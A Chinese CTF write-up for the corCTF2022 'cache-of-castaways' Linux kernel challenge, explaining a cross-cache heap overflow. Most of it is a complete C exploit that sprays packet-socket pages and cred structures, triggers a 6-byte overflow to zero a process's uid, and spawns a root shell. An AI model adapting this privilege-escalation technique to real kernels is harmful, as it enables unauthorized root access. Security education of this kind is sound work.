• 【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways


    前言

    什么叫 Cross Cache 呢?其实就是字面意思,我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景,我们拥有一个特定 kmem-cache 的溢出漏洞,那么我们该如何利用呢?

    程序分析

    启动脚本不用看了,该开的保护都开了。而作者将 config 给了我们,所以我们可以看下部分编译选项。

    1. # CONFIG_SLAB is not set
    2. # CONFIG_SLAB_MERGE_DEFAULT is not set
    3. CONFIG_SLAB_FREELIST_RANDOM=y
    4. CONFIG_SLAB_FREELIST_HARDENED=y
    5. CONFIG_MEMCG=y
    6. CONFIG_MEMCG_KMEM=y
    7. # CONFIG_DEBUG_CREDENTIALS is not set

    驱动程序单独创建了一个 kmem-cache,而该 kmem-cache 是独立的,不会与其他 kmem-cache 合并,且大小为 512 字节。

     ioctl 函数中有增加堆块和修改堆块的功能

    修改堆块时,有白给了 6 字节溢出

     

    漏洞利用

    上面的堆块都是针对  castaway_cache 的 object,而该 cache 是与其他 cache 隔离的,所以从 slub 层面去考虑,我们会发现无法利用该漏洞。

    而我们知道 slub 是从伙伴系统申请的内存,然后在划分成一个一个的 object 去使用。 而伙伴系统的内存是连续的,所以我们可以通过页级堆风水去形成如下内存布局(图片来自wiki):

    然后就形成了 cross-cache overflow 啦。

    这里 victim object 选择谁呢?6字节我们是可以修改 cred 的 uid 的,所以直接打 cred。

    我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的,所以可以直接溢出到 uid 的低两个字节,但是这是足够的。

     

    其他的见 ctf-wiki 即可,也没啥好说的了,也不想浪费时间去写一些垃圾。

    exp:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #define PACKET_VERSION 10
    22. #define PACKET_TX_RING 13
    23. #define PGV_PAGE_NUM 1000
    24. #define CRED_SPRAY_NUM 1066
    25. #define VUL_OBJ_NUM 400
    26. #define VUL_OBJ_SIZE 512
    27. int fd;
    28. int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
    29. char binsh_str[] = "/bin/sh";
    30. char* shell_args[] = { binsh_str, NULL };
    31. char buf[1];
    32. struct timespec timer = {
    33. .tv_sec = 23535670,
    34. .tv_nsec = 0,
    35. };
    36. struct node {
    37. size_t idx;
    38. size_t size;
    39. char* ptr;
    40. };
    41. void add()
    42. {
    43. ioctl(fd, 0xCAFEBABE, NULL);
    44. }
    45. void edit(size_t idx, size_t size, char* ptr)
    46. {
    47. struct node n = { .idx = idx, .size = size, .ptr = ptr };
    48. ioctl(fd, 0xF00DBABE, &n);
    49. }
    50. void err_exit(char *msg)
    51. {
    52. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    53. sleep(5);
    54. exit(EXIT_FAILURE);
    55. }
    56. void info(char *msg)
    57. {
    58. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    59. }
    60. void line(char *msg)
    61. {
    62. printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
    63. }
    64. void hexx(char *msg, size_t value)
    65. {
    66. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    67. }
    68. void binary_dump(char *desc, void *addr, int len) {
    69. uint64_t *buf64 = (uint64_t *) addr;
    70. uint8_t *buf8 = (uint8_t *) addr;
    71. if (desc != NULL) {
    72. printf("\033[33m[*] %s:\n\033[0m", desc);
    73. }
    74. for (int i = 0; i < len / 8; i += 4) {
    75. printf(" %04x", i * 8);
    76. for (int j = 0; j < 4; j++) {
    77. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    78. }
    79. printf(" ");
    80. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    81. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    82. }
    83. puts("");
    84. }
    85. }
    86. /* bind the process to specific core */
    87. void bind_core(int core)
    88. {
    89. cpu_set_t cpu_set;
    90. CPU_ZERO(&cpu_set);
    91. CPU_SET(core, &cpu_set);
    92. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    93. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    94. }
    95. struct tpacket_req {
    96. unsigned int tp_block_size;
    97. unsigned int tp_block_nr;
    98. unsigned int tp_frame_size;
    99. unsigned int tp_frame_nr;
    100. };
    101. enum tpacket_versions {
    102. TPACKET_V1,
    103. TPACKET_V2,
    104. TPACKET_V3,
    105. };
    106. /* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
    107. struct pgv_page_request {
    108. int idx;
    109. int cmd;
    110. unsigned int size;
    111. unsigned int nr;
    112. };
    113. enum {
    114. CMD_ALLOC_PAGE,
    115. CMD_FREE_PAGE,
    116. CMD_EXIT,
    117. };
    118. /* create an isolate namespace for pgv */
    119. void unshare_setup(void)
    120. {
    121. char edit[0x100];
    122. int tmp_fd;
    123. unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
    124. tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    125. write(tmp_fd, "deny", strlen("deny"));
    126. close(tmp_fd);
    127. tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    128. snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    129. write(tmp_fd, edit, strlen(edit));
    130. close(tmp_fd);
    131. tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    132. snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    133. write(tmp_fd, edit, strlen(edit));
    134. close(tmp_fd);
    135. }
    136. /* create a socket and alloc pages, return the socket fd */
    137. int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
    138. {
    139. struct tpacket_req req;
    140. int socket_fd, version;
    141. int ret;
    142. socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    143. if (socket_fd < 0) {
    144. printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
    145. ret = socket_fd;
    146. goto err_out;
    147. }
    148. version = TPACKET_V1;
    149. ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
    150. &version, sizeof(version));
    151. if (ret < 0) {
    152. printf("[x] failed at setsockopt(PACKET_VERSION)\n");
    153. goto err_setsockopt;
    154. }
    155. memset(&req, 0, sizeof(req));
    156. req.tp_block_size = size;
    157. req.tp_block_nr = nr;
    158. req.tp_frame_size = 0x1000;
    159. req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
    160. ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    161. if (ret < 0) {
    162. printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
    163. goto err_setsockopt;
    164. }
    165. return socket_fd;
    166. err_setsockopt:
    167. close(socket_fd);
    168. err_out:
    169. return ret;
    170. }
    171. /* parent call it to send command of allocation to child */
    172. int alloc_page(int idx, unsigned int size, unsigned int nr)
    173. {
    174. struct pgv_page_request req = {
    175. .idx = idx,
    176. .cmd = CMD_ALLOC_PAGE,
    177. .size = size,
    178. .nr = nr,
    179. };
    180. int ret;
    181. write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    182. read(cmd_pipe_reply[0], &ret, sizeof(ret));
    183. return ret;
    184. }
    185. /* parent call it to send command of freeing to child */
    186. int free_page(int idx)
    187. {
    188. struct pgv_page_request req = {
    189. .idx = idx,
    190. .cmd = CMD_FREE_PAGE,
    191. };
    192. int ret;
    193. write(cmd_pipe_req[1], &req, sizeof(req));
    194. read(cmd_pipe_reply[0], &ret, sizeof(ret));
    195. return ret;
    196. }
    197. /* child thread's handler for commands from the pipe */
    198. void spray_cmd_handler(void)
    199. {
    200. struct pgv_page_request req;
    201. int socket_fd[PGV_PAGE_NUM];
    202. int ret;
    203. /* create an isolate namespace*/
    204. unshare_setup();
    205. /* handler request */
    206. do {
    207. read(cmd_pipe_req[0], &req, sizeof(req));
    208. if (req.cmd == CMD_ALLOC_PAGE) {
    209. ret = create_socket_and_alloc_pages(req.size, req.nr);
    210. socket_fd[req.idx] = ret;
    211. } else if (req.cmd == CMD_FREE_PAGE) {
    212. ret = close(socket_fd[req.idx]);
    213. } else {
    214. printf("[x] invalid request: %d\n", req.cmd);
    215. }
    216. write(cmd_pipe_reply[1], &ret, sizeof(ret));
    217. } while (req.cmd != CMD_EXIT);
    218. }
    219. __attribute__((naked)) int __clone(int flags, int (*fn)(void*))
    220. {
    221. /*
    222. res = clone(flags, 0, 0, 0, 0, 0)
    223. if (res == 0) fn();
    224. else return;
    225. */
    226. __asm__ volatile(
    227. "mov r15, rsi;"
    228. "xor rsi, rsi;"
    229. "xor rdx, rdx;"
    230. "xor r8, r8;"
    231. "xor r9, r9;"
    232. "xor r10, r10;"
    233. "mov rax, 56;"
    234. "syscall;"
    235. "cmp rax, 0;"
    236. "je CHILD;"
    237. "ret;"
    238. "CHILD:"
    239. "jmp r15;"
    240. );
    241. }
    242. int wait_for_root(void* args)
    243. {
    244. /*
    245. read(check_root_pipe[0], buf, 1); <== 等待检查信号
    246. if (getuid() == 0) execve("/bin/sh", args, NULL);
    247. else return;
    248. */
    249. __asm__ volatile(
    250. "lea rax, [check_root_pipe];"
    251. "xor rdi, rdi;"
    252. "mov edi, dword ptr [rax];"
    253. "mov rsi, buf;"
    254. "mov rdx, 1;"
    255. "xor rax, rax;"
    256. "syscall;"
    257. "mov rax, 102;"
    258. "syscall;"
    259. "cmp rax, 0;"
    260. "jne failed;"
    261. "lea rdi, [binsh_str];"
    262. "lea rsi, [shell_args];"
    263. "xor rdx, rdx;"
    264. "mov rax, 59;"
    265. "syscall;"
    266. "failed:"
    267. "lea rdi, [timer];"
    268. "xor rsi, rsi;"
    269. "mov rax, 35;"
    270. "syscall;"
    271. );
    272. return 0;
    273. }
    274. int main(int argc, char** argv, char** env)
    275. {
    276. char buffer[0x1000];
    277. bind_core(0);
    278. fd = open("/dev/castaway", O_RDWR);
    279. if (fd < 0) err_exit("open /dev/castaway");
    280. pipe(cmd_pipe_req);
    281. pipe(cmd_pipe_reply);
    282. pipe(check_root_pipe);
    283. if (!fork())
    284. {
    285. spray_cmd_handler();
    286. exit(EXIT_SUCCESS);
    287. }
    288. info("STEP.I Spray pgv pages");
    289. for (int i = 0; i < PGV_PAGE_NUM; i++)
    290. if (alloc_page(i, 0x1000, 1) < 0)
    291. err_exit("alloc_page");
    292. info("STEP.II Free for cred pages");
    293. for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);
    294. info("STEP.III Spray cred to fetch pages");
    295. for (int i = 0; i < CRED_SPRAY_NUM; i++)
    296. if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)
    297. err_exit("__clone");
    298. info("STEP.IV Free for vulnerable pages");
    299. for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);
    300. info("STEP.V Triger overflow write 6 bytes");
    301. memset(buffer, '\0', 0x1000);
    302. *(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;
    303. for (int i = 0; i < VUL_OBJ_NUM; i++)
    304. {
    305. add();
    306. edit(i, VUL_OBJ_SIZE, buffer);
    307. }
    308. info("CHILD PROCESS CHECK");
    309. write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);
    310. sleep(23535670);
    311. return 0;
    312. }

     效果如下:

  • 相关阅读:
    数据结构:反射
    【PyQt学习篇 · ③】:QObject - 神奇的对象管理工具
    Stable-Diffusion ubuntu服务器部署,报错解决方法(小白教程)
    4.10、matlab生成脉冲序列:pulstran()函数
    ZED 2i 双目-IMU标定
    见证国内人工智能与机器人技术的进步
    AI全球气象预报模型;开源数据标注平台;『统计学习导论及R语言应用』Python版源码;『数学』自学路线图与资源;前沿论文 | ShowMeAI资讯日报
    tcp/ip该来的还是得来
    Linux之Socket函数(详细篇)
    webpack(四)plugin
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133819739